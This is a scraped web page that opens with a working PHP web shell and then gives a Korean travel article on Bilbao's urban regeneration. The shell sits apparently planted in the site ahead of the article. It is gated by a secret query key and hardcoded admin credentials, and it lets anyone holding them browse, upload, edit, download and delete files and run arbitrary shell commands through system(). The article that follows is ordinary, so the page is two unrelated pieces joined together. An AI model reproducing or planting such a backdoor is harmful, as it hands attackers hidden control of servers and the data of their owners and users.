if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[๐Ÿ“‚ Home] '; echo '[๐Ÿ–ฅ๏ธ Terminal] '; echo '[๐Ÿ’พ Drives] '; echo '[๐ŸŒณ Tree] '; echo '[โฌ† Upload] '; echo '[๐Ÿšช Logout]'; echo '
'; switch ($act) { case 'upload': echo '

โฌ† Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '
'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

โœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

โŒ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

โŒ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

๐Ÿ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '๐Ÿ“ '.$item."/\n";
                    else echo '๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

๐ŸŒณ Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'๐Ÿ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

๐Ÿ’พ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." โœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." โœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

๐Ÿ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'โœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

๐Ÿ–ฅ๏ธ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'โœ… Deleted: '.htmlspecialchars($f); else echo 'โŒ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'โœ… Directory removed: '.htmlspecialchars($f); else echo 'โŒ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'โœ… Created: '.htmlspecialchars($dest); else echo 'โŒ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'โœ… Created dir: '.htmlspecialchars($dest); else echo 'โŒ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

๐Ÿ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo 'โฌ† Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[โฌ† Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
๐Ÿ“ '.$item.'๐Ÿ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } ์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค, ๋‚™ํ›„๋œ ๊ณต์—…๋„์‹œ์—์„œ ์ฟจํ•œ ๋ฌธํ™”๋„์‹œ๋กœ ๋ณ€ํ•˜๋‹ค | GoodTrip
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€ ์ „๊ฒฝ, ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€(Guggenheim Museum, Bilbao, Spain), Photo by jorge-fernandez

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค, ๋‚™ํ›„๋œ ๊ณต์—…๋„์‹œ์—์„œ ์ฟจํ•œ ๋ฌธํ™”๋„์‹œ๋กœ ๋ณ€ํ•˜๋‹ค

์ž‘์„ฑ์ž:

๋ฌด๋ฆ‡ ์—ฌํ–‰ ์‹œ ๊ฐ€์žฅ ๊ฐ•๋ ฌํ•˜๊ฒŒ ๊ทธ ๋„์‹œ์˜ ์ธ์ƒ์„ ๋ฐ›๋Š” ๊ฒƒ์€ ๋„์‹œ์˜ ์—ญ์‚ฌ์—์„œ ๋น„๋กฏ๋˜๋Š” ์Šคํ† ๋ฆฌ์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ์˜๋ฏธ์—์„œ ์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค๋Š” ํฅํ•˜๋˜ ๋„์‹œ๊ฐ€ ํ™ฉํํ™”๋˜์—ˆ๋‹ค๊ฐ€ ๋ฉ‹์ง„ ๋ฌธํ™”๋„์‹œ๋กœ ์žฌ์ƒ๋œ ์Šคํ† ๋ฆฌ๋กœ ์ธํ•ด์„œ ๊ฐ๋™๊ณผ ์ƒ๊ฐํ•  ๊บผ๋ฆฌ๋ฅผ ์ฃผ๋Š” ๊ณณ์ž…๋‹ˆ๋‹ค.

์˜ค๋Š˜์€ ์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค์˜ ์—ญ์‚ฌ์™€ ๋”๋ถˆ์–ด ๊ทธ๋“ค์ด ์–ด๋–ป๊ฒŒ ํšŒ์ƒํ–ˆ๋Š”์ง€ ๊ทธ๋ฆฌ๊ณ  ๋นŒ๋ฐ”์˜ค์˜ ๋งค๋ ฅ์€ ๋ฌด์—‡์ธ์ง€ ์‚ดํŽด๋ณด๊ณ ์ž ํ•ฉ๋‹ˆ๋‹ค.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๋„์‹œ ์ „๊ฒฝ, Bilbao, Spain, Photo by Yves Alarie
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๋„์‹œ ์ „๊ฒฝ, Bilbao, Spain, Photo by Yves Alarie

1. ๋นŒ๋ฐ”์˜ค ์—ญ์‚ฌ์™€ ์œ„๊ธฐ

๋นŒ๋ฐ”์˜ค(Bilbao)๋Š” ์ŠคํŽ˜์ธ์ด ์œ„์น˜ํ•œ ์ด๋ฒ ๋ฆฌ์•„ ๋ฐ˜๋„ ๋ถ๋ถ€, ๋น„์Šคํฌ ๋Œ€๋„์‹œ๊ถŒ(Basque City Region) ์ค‘์‹ฌ๋ถ€์— ์œ„์น˜ํ•ด ์žˆ์Šต๋‹ˆ๋‹ค.

ํ˜„์žฌ ๋นŒ๋ฐ”์˜ค๋Š” ๋„์‹œ ๋ฉด์  41.3์ œ๊ณฑ ํ‚ฌ๋กœ๋ฏธํ„ฐ์— ์ธ๊ตฌ ์•ฝ 35๋งŒ๋ช… ์ •๋„๋กœ ๋น„์Šค์ผ€์ด(Viscay)์ง€๋ฐฉ์˜ ์ฃผ๋„์ž…๋‹ˆ๋‹ค.

์ฃผ๋ณ€ ์ง€์—ญ์„ ํฌํ•จํ•œ ๋ฉ”ํŠธ๋กœํด๋ฆฌํƒ„ ๋นŒ๋ฐ”์˜ค์˜ ์ธ๊ตฌ๋Š” ์•ฝ ๋ฐฑ๋งŒ๋ช…์œผ๋กœ ์ŠคํŽ˜์ธ์—์„œ๋Š” 5๋ฒˆ์งธ์ฏค๋˜๋Š” ๊ทœ๋ชจ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

1.1. ์˜๊ตญ๊ณผ ํ”„๋ž‘์Šค์™€์˜ ๊ต์—ญ ์ค‘์‹ฌ์ง€๋กœ ์„ฑ์žฅ

14์„ธ๊ธฐ ์ดˆ ๋กœํŽ˜์ฆˆ ํ•˜๋กœ(Diego Lopez Haro)๊ฐ€ ๊ฑด์„คํ•œ ๊ณณ์œผ๋กœ ๋„์‹œ๋ฅผ ๊ฐ€๋กœ์งˆ๋Ÿฌ ํ๋ฅด๋Š” ๋„ค๋ฅด๋น„์˜จ ๊ฐ•(Nervion River) ์—ฐ์•ˆ์— ์œ„์น˜ํ•ด ์žˆ์–ด ์˜๊ตญ ๋ฐ ํ”„๋ž‘์Šค ๋“ฑ๊ณผ์˜ ๊ต์—ญ ์ค‘์‹ฌ์ง€๋กœ ์„ฑ์žฅ , ๋ฐœ์ „ํ•ด ์™”์Šต๋‹ˆ๋‹ค.

16์„ธ๊ธฐ์—๋Š” ์ด๋ฏธ ์ง€๋ฆฌ์ ์ธ ์ž‡์ ์„ ์ถฉ๋ถ„ํžˆ ์‚ด๋ ค ๋ฉ”๋ฆฌ๋…ธ ์šธ(Merino Wool)์„ ์ˆ˜์ถœํ•˜๋Š” ์ŠคํŽ˜์ธ ๋ถ๋ถ€์˜ ๊ฐ€์žฅ ์ค‘์š”ํ•œ ํ•ญ๊ตฌ์ด์ž ๊ฒฝ์ œ, ๊ธˆ์œต ์ค‘์‹ฌ์ง€๋กœ ์„ฑ์žฅํ–ˆ๊ณ  1602๋…„์— ์ด๋Ÿฌํ•œ ์‚ฐ์—… ๋ฐœ๋‹ฌ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ๋น„์Šค์ผ€์ด ์ง€๋ฐฉ์˜ ์ˆ˜๋„๊ฐ€ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

1.2. ์ฒ ๊ด‘๊ณผ ์กฐ์„ ์˜ ์ค‘๊ณต์—… ์ค‘์‹ฌ์ง€๊ฐ€ ๋˜๋‹ค

17์„ธ๊ธฐ๋ถ€ํ„ฐ ๋นŒ๋ฐ”์˜ค๋Š” ๊ทผ์ฒ˜์˜ ํ’๋ถ€ํ•œ ์ฒ ๊ด‘์„์„ ๊ธฐ๋ฐ˜์œผ๋กœ ์ œ์ฒ ์‚ฐ์—…์ด ๋ฐœ์ „ํ•˜๋ฉด์„œ ์ˆ˜์ถœ์‚ฐ์—…์ด ๋ถ€ํฅํ•˜๊ธฐ ์‹œ์ž‘ํ–ˆ์Šต๋‹ˆ๋‹ค.

๋นŒ๋ฐ”์˜ค๋Š” ์‚ฐ์—…ํ˜๋ช…๊ธฐ๋ฅผ ๊ฑฐ์ณ ์ฒ ๊ด‘์‚ฐ์—…๊ณผ ์กฐ์„ ์‚ฐ์—…์ด ํฌ๊ฒŒ ์œต์„ฑํ•ด ์ŠคํŽ˜์ธ์˜ ๊ฐ€์žฅ ์ค‘์š”ํ•œ ์ค‘๊ณต์—… ์ค‘์‹ฌ์ง€๋กœ ์„ฑ์žฅํ–ˆ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๊ฒฐ๊ณผ๋กœ 20์ƒˆ๊ฐ€์ดˆ์—๋Š” ์ŠคํŽ˜์ธ์—์„œ ๊ฐ€์žฅ ๋ถ€์œ ํ•œ ๋„์‹œ๊ฐ€ ๋˜์—ˆ์ฃ .

1.3. ๋ถˆํ™ฉ๊ณผ ๊ฒฝ์Ÿ๋ ฅ ์ƒ์‹ค๋กœ ์‡ ๋ฝํ•˜๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ 1920๋…„๋Œ€ ์ด ์ง€๋ฐฉ์˜ ํ’๋ถ€ํ–ˆ๋˜ ์ฒ ๊ฐ• ์ž์›์ด ๊ณ ๊ฐˆ๋˜๋ฉด์„œ ์œ„๊ธฐ๋ฅผ ๋งž์•˜๊ณ , 1970๋…„ ๊ฒฝ๊ธฐ ์นจ์ฒด๋กœ ๋นŒ๋ฐ”์˜ค์˜ ์„ฑ์žฅ์€ ๋ฉˆ์ถ”๊ณ  ์ค‘๊ณต์—… ๊ธฐ๋ฐ˜์˜ ๋„์‹œ ๊ฒฝ์Ÿ๋ ฅ๋„ ์•ฝํ™”๋˜๊ธฐ ์‹œ์ž‘ํ–ˆ์Šต๋‹ˆ๋‹ค.

๋”์šฐ๊ธฐ 1980๋…„๋“ค์–ด ํ•œ๊ตญ์„ ๋น„๋กฏํ•œ ์•„์‹œ์•„ ๊ฐ๊ตญ์—์„œ ์ฒ ๊ด‘์‚ฐ์—…์„ ์ „๋žต์ ์œผ๋กœ ์œก์„ฑํ•˜๋ฉด์„œ ๊ฒฝ์Ÿ๋ ฅ ํ•˜๋ฝ์€ ๊ฐ€์†ํ™”๋˜๊ณ  ์ด์–ด ๋ชฐ์•„๋‹ฅ์นœ 1980๋…„๋Œ€ ๊ฒฝ์ œ ๋ถˆํ™ฉ์€ ๋นŒ๋ฐ”์˜ค๋ฅผ ์‡ ๋ฝ์œผ๋กœ ์ด๋Œ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ ๋ฐ”์Šคํฌ ๋ถ„๋ฆฌ์ฃผ์˜์ž๋“ค์˜ ๋นˆ๋ฒˆํ•œ ํ…Œ๋Ÿฌ๋กœ ๋„์‹œ๋Š” ์ ์  ๋ถˆ์•ˆํ•ด์ง€๊ธฐ ์‹œ์ž‘ํ–ˆ์ฃ 

์—Ž์นœ๋ฐ ๋ฎ์นœ ๊ฒฉ์œผ๋กœ 1983๋…„ ์œ ๋ž˜์—†๋Š” ๋Œ€ ํ™์ˆ˜๊ฐ€ ๋นŒ๋ฐ”์˜ค๋ฅผ ์—„์Šตํ•ฉ๋‹ˆ๋‹ค. ๋Œ€ํ™์ˆ˜๋Š” ๋„์‹œ๋ฅผ ๋ฎ์ณ 2์ธต ๋†’์ด๊นŒ์ง€ ์™„์ „ํžˆ ์ž ๊ฒจ๋ฒ„๋ฆฐ ๊ฒƒ์ด์ฃ .

๊ฒฐ๊ตญ 1980๋…„๋Œ€ ์ค‘๋ฐ˜ ๋นŒ๋ฐ”์˜ค์˜ ์‹ค์—…์œจ์€ 35%์— ๋‹ฌํ•˜๊ณ , ํ•œ๋•Œ 45๋งŒ๋ช…์ด ์œก๋ฐ•ํ•˜๋˜ ์ธ๊ตฌ๋„ 35๋งŒ๋ช…์œผ๋กœ ์ค„์–ด๋“œ๋Š” ๋“ฑ ๋นŒ๋ฐ”์˜ค๋Š” ์ ์  ์‹ฌ๊ฐํ•œ ์ƒํ™ฉ์— ๋น ์ง‘๋‹ˆ๋‹ค.

2. ๋„์‹œ ํšŒ์ƒ์„ ์œ„ํ•œ ์žฌ์ƒ ์ „๋žต ์ˆ˜๋ฆฝ

๋นŒ๋ฐ”์˜ค๋Š” ์ด๋Ÿฐ ์ƒํ™ฉ์„ ํƒ€๊ฐœํ•˜๊ธฐ ์œ„ํ•ด ์˜๊ตญ ๊ธ€๋ž˜์Šค๊ณ ์šฐ(Glasgow)๋‚˜ ๋ฏธ๊ตญ ๋ณผํ‹ฐ๋ชจ์–ด(Baltimore)์™€ ๊ฐ™์€ ๋„์‹œ์žฌ์ƒ์˜ ์„ ์ง„ ์‚ฌ๋ก€๋“ค์„ ๋ฒค์น˜๋งˆํ‚นํ•˜๊ณ  1986๋…„ ๋„์‹œ ๊ธฐ๋ณธ๊ณ„ํš์„ ์„ธ์šฐ๊ณ  7๊ตฐ๋ฐ ์ง€์—ญ ์žฌ์ƒ ์‚ฌ์—…์„ ์ถ”์ง„ํ•ฉ๋‹ˆ๋‹ค.

์ด์–ด ์ŠคํŽ˜์ธ ์ •๋ถ€์™€ ๋ฐ”์Šคํฌ ์ง€๋ฐฉ์ •๋ถ€๊ฐ€ ์ ˆ๋ฐ˜์”ฉ ํˆฌ์žํ•ด ‘๋ฐœ๋ฐ”์˜ค ๋ฆฌ์•„ 2000(Bilbao Ria 2000)’์„ ์„ค๋ฆฝํ•˜๊ณ , ์ง€์—ญ์˜ ๋Œ€ํ•™, ๊ธˆ์œต, ์ฒ ๋„, ์ „๊ธฐ, ๋นŒ๋ฐ”์˜ค ์‹œ์ฒญ ๋“ฑ ๋นŒ๋ฐ”์˜ค์˜ ๋ชจ๋“  ๋ฏผ๊ด€ ๊ด€๊ณ„์ž๋“ค์ด ์ฐธ์—ฌํ•˜๋Š” ‘๋นŒ๋ฐ”์˜ค ๋ฉ”ํŠธ๋กœํด๋ฆฌ-30’์„ ์„ธ์›๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ์ด๋ จ์˜ ๊ณผ์ •์€ ๋’ค์—์„œ ์„ค๋ช…ํ•˜๋Š” ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ณผ ๊ฑด์„ค์™ธ ๋„์‹ฌ ๊ฐ•๋ณ€์˜ ํ•ญ๋งŒ ์‹œ์„ค์„ ์ฒ ๊ฑฐํ•˜๊ณ  ์ด๋“ค๋“ค์„ ๋„ค๋ฅด๋น„์˜จ ํ•ญ๊ตฌ ๋ฐ”๋‹ท๊ฐ€๋กœ ์ด์ „์‹œํ‚ค๊ณ , ์ œ์ฒ ์†Œ๊ฐ€ ์žˆ๋˜ ์ง€์—ญ์€ ์ „์ฐจ๊ฐ€ ๋‹ค๋‹ˆ๊ฒŒํ•˜๊ณ  ๋…น์ง€๋ฅผ ๋งŒ๋“ค๊ณ  ์นœํ™˜๊ฒฝ ๋„๋กœ๋ฅผ ๊ฑด์„คํ•ด ๋„์‹œ๋ฅผ ์™„์ „ํžˆ ํƒˆ๋ฐ”๊ฟˆ์‹œ์ผฐ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๋นŒ๋ฐ”์˜ค ์žฌ์ƒ ํ”„๋กœ์ ํŠธ์˜ ํ•ต์‹ฌ์€ ๊ตฌ๊ฒŒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€๊ณผ ๊ฐ™์€ ์˜ˆ์ˆ ์„ฑ์„ ๊ณ ์–‘ํ•˜๊ณ  ๋ฌธ๋ช…์˜ ์ด๊ธฐ ์ค‘์‹ฌ์—์„œ ๋ฒ—์–ด๋‚œ ์‚ฌ๋žŒ ์ค‘์‹ฌ์˜ ์ƒˆ๋กœ์šด ๋ฌธํ™”๋„์‹œ๋กœ ๋˜์‚ด๋ฆฌ๊ณ ์ž ํ•˜์˜€์Šต๋‹ˆ๋‹ค.

๋นŒ๋ฐ”์˜ค ๋„์‹œ ์žฌ์ƒ์˜ ์ปจ์…‰์€ ๋ฌด์—‡์ผ๊นŒ์š”? ๊ฐ€์žฅ ๋‘๋‘๋Ÿฌ์ง„ ํŠน์ง•์€ ๋ฌด์—‡์ผ๊นŒ์š”?

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค(Bilbao)์€ ์ฒ ๊ฐ•์—…๊ณผ ์กฐ์„ ์—…์œผ๋กœ ํฅํ–ˆ์ง€๋งŒ 1980๋…„๋Œ€์ด๋ž˜ ๊ฒฝ์Ÿ๋ ฅ์„ ์žƒ์œผ๋ฉด์„œ ํ‰๋ฌผ์Šค๋Ÿฐ ๋„์‹œ๋กœ ์ „๋ฝํ•˜๊ณ  ๋ง์•˜์ฃ .

์ด๋ ‡๊ฒŒ ์‡ ๋ฝํ•˜๋˜ ๊ณต์—…๋„์‹œ๋ฅผ ์ŠคํŽ˜์ธ ์ •๋ถ€์™€ ๋ฐ”์Šคํฌ ์ง€๋ฐฉ์ •๋ถ€๊ฐ€ ์ ˆ๋ฐ˜์”ฉ ํˆฌ์žํ•ด ‘๋ฐœ๋ฐ”์˜ค ๋ฆฌ์•„ 2000(Bilbao Ria 2000)’์„ ์„ค๋ฆฝํ•˜๊ณ  ๋นŒ๋ฐ”์˜ค ์žฌ์ƒ ํ”„๋กœ์ ํŠธ๋ฅผ ์‹คํ–‰ํ•œ ๊ฒฐ๊ณผ ์ƒˆ๋กœ์šด ๋ฌธํ™”๋„์‹œ๋กœ ๋˜์‚ด์•„๋‚˜๋Š” ์ Š์€ ๋„์‹œ๊ฐ€ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ์•ผ๊ฒฝ, Bilbao, Spain, Photo by Jose Vidal
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ์•ผ๊ฒฝ, Bilbao, Spain, Photo by Jose Vidal

3. ์‚ฌ๋žŒ ์ค‘์‹ฌ์˜ ๋„์‹œ

์•ž์„œ ์ด์•ผ๊ธฐํ•œ๋Œ€ 1983๋…„ 2์ธต๊นŒ์ง€ ์ž ๊ธด ๋Œ€ํ™์ˆ˜๋Š” ๋นŒ๋ฐ”์˜ค ๊ตฌ๋„์‹ฌ์„ ์™„์ „ํžˆ ํŒŒ๊ดดํ•ด ๋ฒ„๋ ธ์Šต๋‹ˆ๋‹ค.

์ด์— ๋”ฐ๋ผ ํŒŒ๊ดด๋œ ๊ตฌ๋„์‹ฌ ์žฌ์ƒ ์‚ฌ์—…๋„ ์‹œ์ž‘๋˜์—ˆ๋Š”๋ฐ์š”. ์ด ๋•Œ ๊ฐ€์žฅ ํฐ ์›์น™์ด ๋„์‹ฌ์—์„œ ์‚ฌ๋žŒ๋“ค์ด ๋‹ค๋‹ ์ˆ˜ ์žˆ๋Š” ๋ณดํ–‰ ๊ณต๊ฐ„์„ ์ตœ๋Œ€ํ•œ ํ™•๋ณดํ•œ๋‹ค๋Š” ๊ฒƒ ์ด์—ˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋ž˜์„œ ๊ตฌ๋„์‹ฌ์€ ์ฐจ๋Ÿ‰ ํ†ตํ–‰์„ ์ œํ•œํ•˜๊ณ  ๋ณดํ–‰ ์ค‘์‹ฌ์œผ๋กœ ์žฌ์„ค๊ณ„ํ–ˆ์œผ๋ฉฐ ๊ณ ์ง€๋Œ€์— ๊ฑฐ์ฃผํ•˜๋Š” ๋…ธ์ธ์ธต ๋ฐ ์žฅ์• ์ธ์˜ ์ด๋™๊ถŒ์„ ํ™•๋ณดํ•˜๊ธฐ ์œ„ํ•ด ์—˜๋ฆฌ๋ฒ ์ดํ„ฐ๋“ฑ์„ ์š”์†Œ ์š”์†Œ ์„ค์น˜ํ–ˆ์Šต๋‹ˆ๋‹ค.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ ์‹œ๊ฐ€์ง€, Bilbao Old town, Photo by Senovia Nova
๋ณดํ–‰์ž ์ค‘์‹ฌ์˜ ๋นŒ๋ฐ”์˜ค ๊ตฌ ์‹œ๊ฐ€์ง€, Bilbao Old town, Photo by Senovia Nova

3.1. ์ž๋™์ฐจ๋„๋กœ๋งŒํผ ๋„“์€ ๋ณดํ–‰๋„๋กœ

๋ฐœ๋น„์˜ค ๋„๋กœ๋Š” ์ž๋™์ฐจ ์ค‘์‹ฌ์ด ์•„๋‹Œ ์‚ฌ๋žŒ์„ ์ค‘์‹ฌ์œผ๋กœ ์„ค๊ณ„๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ž๋™์ฐจ ๋„๋กœ ๋„“์ด๋งŒํผ์˜ ์‚ฌ๋žŒ๋“ค์ด ๋‹ค๋‹ ์ˆ˜ ์žˆ๋Š” ์ธ๋„์™€ ์ž์ „๊ฑฐ๋“ฑ ์นœํ™˜๊ฒฝ ๋ชจ๋นŒ๋ฆฌํ‹ฐ๋ฅผ ์‰ฝ๊ฒŒ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋Š” ํ™˜๊ฒฝ์„ ๊ฐ–์ถ”๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ๋“ค์–ด ์™•๋ณต 2์ฐจ์„ ์˜ ์ž๋™์ฐจ ์ „์šฉ๋„๋กœ ์˜†์—๋Š” ์ž๋™์ฐจ ๋„๋กœ์˜ 1์ฐจ์„ ์— ๋ฒ„๊ธˆ๊ฐ€๋Š” ๋„“์ด์˜ ์™•๋ณต 2์ฐจ์„  ์ž์ „๊ฑฐ๋„๋กœ๋ฅผ ๊ฐ–์ถ”์—ˆ๊ณ  ์‚ฌ๋žŒ๋งŒ ๋‹ค๋‹ ์ˆ˜ ์žˆ๋Š” ์ธ๋„๋Š” ์ž๋™์ฐจ ๋„๋กœ์™€ ์ž์ „๊ฑฐ ๋„๋กœ๋ฅผ ํ•ฉํ•œ ๋„“์ด๋งŒํผ์„ ํ• ๋‹นํ•ด ๋†“์•˜์ฃ . ๊ทธ์•ผ๋ง๋กœ ์‚ฌ๋žŒ๋“ค์˜ ์ฒœ๊ตญ์ด๋ผ๊ณ ๋‚˜ ํ• ๊นŒ์š”?

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๋„ค๋ฅด๋น„์˜จ ๊ฐ•๋ณ€ ํ’๊ฒฝ, ๋„“์€ ๋ณดํ–‰๋„๋กœ๊ฐ€ ๊ฐ•์„ ๋”ฐ๋ผ์„œ ์กฐ์„ฑ๋˜์–ด ์žˆ๋‹ค, Photo by Phil Fiddyment
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๋„ค๋ฅด๋น„์˜จ ๊ฐ•๋ณ€ ํ’๊ฒฝ, ๋„“์€ ๋ณดํ–‰๋„๋กœ๊ฐ€ ๊ฐ•์„ ๋”ฐ๋ผ์„œ ์กฐ์„ฑ๋˜์–ด ์žˆ๋‹ค, Photo by Phil Fiddyment

3.2. ์ฒ ๋„์™€ ๊ฐ•์˜ ๋‹จ์ ˆ์„ ์ž‡๋‹ค

์‚ฌ๋žŒ ์ค‘์‹ฌ์˜ ๋„์‹œ๋ฅผ ์œ„ํ•ด ๊ทธ๋™์•ˆ ๋„์‹œ ๋ฐœ์ „์˜ ๊ฒฐ๊ณผ ์ฒ ๋„์™€ ํ•ญ๊ตฌ ๊ทธ๋ฆฌ๊ณ  ๋„ค๋ฅด๋น„์˜จ๊ฐ•์œผ๋กœ ๋‹จ์ ˆ๋œ ๋„์‹œ ๊ณต๊ฐ„์„ ์—ด๊ฒฐํ•ด ์‚ฌ๋žŒ๋“ค์ด ํŠน๋ณ„ํ•œ ์ด๋™ ๊ธฐ๊ตฌ๋ฅผ ์˜์กดํ•˜์ง€ ์•Š๋”๋ผ๋„ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๊ฒƒ์€ ์ฒ ๋„์™€ ํ•ญ๊ตฌ๋ฅผ ์ด๋™ํ•˜๊ณ  ๊ทธ ์ž๋ฆฌ์— ๋ณดํ–‰ ๊ณต๊ฐ„์„ ๋งŒ๋“ค๊ณ , ์ˆ˜๋งŽ์€ ๋ณดํ–‰๊ต์™€ ๋‹ค๋ฆฌ๋ฅผ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค.

